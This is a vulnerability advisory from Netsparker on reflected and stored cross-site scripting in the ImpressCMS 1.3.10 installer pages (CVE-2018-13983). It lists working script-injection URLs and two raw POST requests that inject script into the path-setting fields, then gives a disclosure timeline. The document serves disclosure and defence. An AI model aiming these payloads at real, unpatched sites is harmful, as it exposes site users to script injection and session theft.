ImpressCMS 1.3.10 Cross Site Scripting

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Multiple Cross-site Scripting Vulnerabilities in ImpressCMS 1.3.10  
  
Information  
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Advisory by Netsparker  
Name: Reflected and Stored XSS Vulnerabilities in ImpressCMS  
Affected Software: ImpressCMS  
Affected Versions: 1.3.10  
Homepage: https://www.impresscms.org/  
Vulnerability: Reflected and Stored XSS Vulnerabilities  
Severity: High  
Status: Fixed  
CVE-ID: CVE-2018-13983  
Netsparker Advisory Reference: NS-18-033  
  
Technical Details  
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Cross-site Scripting  
  
URL http://app.scan/ScanApp/impresscms/htdocs/install/index.php/'"--></style></scRipt><scRipt>netsparker(0x00012C)</scRipt>  
Proof URL http://app.scan/ScanApp/impresscms/htdocs/install/index.php/'"--></style></scRipt><scRipt>alert(0x00012C)</scRipt>  
Parameter Name URI-BASED  
Parameter Type Full URL  
Attack Pattern /'"--></style></scRipt><scRipt>netsparker(0x00012C)</scRipt>  
  
URL http://app.scan/ScanApp/impresscms/htdocs/install/page_langselect.php/'"--></style></scRipt><scRipt>netsparker(0x0006F2)</scRipt>  
Proof URL http://app.scan/ScanApp/impresscms/htdocs/install/page_langselect.php/'"--></style></scRipt><scRipt>alert(0x0006F2)</scRipt>  
Parameter Name URI-BASED  
Parameter Type Full URL  
Attack Pattern /'"--></style></scRipt><scRipt>netsparker(0x0006F2)</scRipt>  
  
URL http://app.scan/ScanApp/impresscms/htdocs/install/page_modcheck.php/'"--></style></scRipt><scRipt>netsparker(0x000881)</scRipt>  
Proof URL http://app.scan/ScanApp/impresscms/htdocs/install/page_modcheck.php/'"--></style></scRipt><scRipt>alert(0x000881)</scRipt>  
Parameter Name URI-BASED  
Parameter Type Full URL  
Attack Pattern /'"--></style></scRipt><scRipt>netsparker(0x000881)</scRipt>  
  
URL http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php/'"--></style></scRipt><scRipt>netsparker(0x000919)</scRipt>  
Proof URL http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php/'"--></style></scRipt><scRipt>alert(0x000919)</scRipt>  
Parameter Name URI-BASED  
Parameter Type Full URL  
Attack Pattern /'"--></style></scRipt><scRipt>netsparker(0x000919)</scRipt>  
  
URL http://app.scan/ScanApp/impresscms/htdocs/install/page_start.php/'"--></style></scRipt><scRipt>netsparker(0x0006F0)</scRipt>  
Proof URL http://app.scan/ScanApp/impresscms/htdocs/install/page_start.php/'"--></style></scRipt><scRipt>alert(0x0006F0)</scRipt>  
Parameter Name URI-BASED  
Parameter Type Full URL  
Attack Pattern /'"--></style></scRipt><scRipt>netsparker(0x0006F0)</scRipt>  
  
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Stored Cross-Site Scripting  
  
URL http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php  
Injection URL http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php  
  
Vulnerable TRUST_PATH :  
  
#Injection  
POST /ScanApp/impresscms/htdocs/install/page_pathsettings.php HTTP/1.1  
Host: app.scan  
Cache-Control: no-cache  
Referer: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36  
Accept-Language: en-us,en;q=0.5  
X-Scanner: Netsparker  
Cookie: xo_install_lang=english; PHPSESSID=hnt9hof7s46l5tn1r958moao37  
Accept-Encoding: gzip, deflate  
Content-Length: 207  
Content-Type: application/x-www-form-urlencoded  
URL=http%3a%2f%2fapp.scan%2fScanApp%2fimpresscms%2fhtdocs&ROOT_PATH=%2fvar%2fwww%2fhtml%2fScanApp%2fimpresscms%2fhtdocs&TRUST_PATH='"--></style></scRipt><scRipt>netsparker(0x000F44)</scRipt>  
#End  
  
Vulnerable ROOT_PATH :  
  
#Injection  
POST /ScanApp/impresscms/htdocs/install/page_pathsettings.php HTTP/1.1  
Host: app.scan  
Cache-Control: no-cache  
Referer: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36  
Accept-Language: en-us,en;q=0.5  
X-Scanner: Netsparker  
Cookie: xo_install_lang=english; PHPSESSID=hnt9hof7s46l5tn1r958moao37  
Accept-Encoding: gzip, deflate  
Content-Length: 186  
Content-Type: application/x-www-form-urlencoded  
URL=http%3a%2f%2fapp.scan%2fScanApp%2fimpresscms%2fhtdocs&ROOT_PATH='"--></style></scRipt><scRipt>netsparker(0x000F41)</scRipt>&TRUST_PATH=%2fvar%2fwww%2f623962b73562c7f  
#End  
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Advisory Timeline  
--------------------  
  
8th November 2018- First Contact  
3rd December 2018 - Vendor Fixed  
2nd January 2019 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.  
  
About Netsparker  
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.  
  
  
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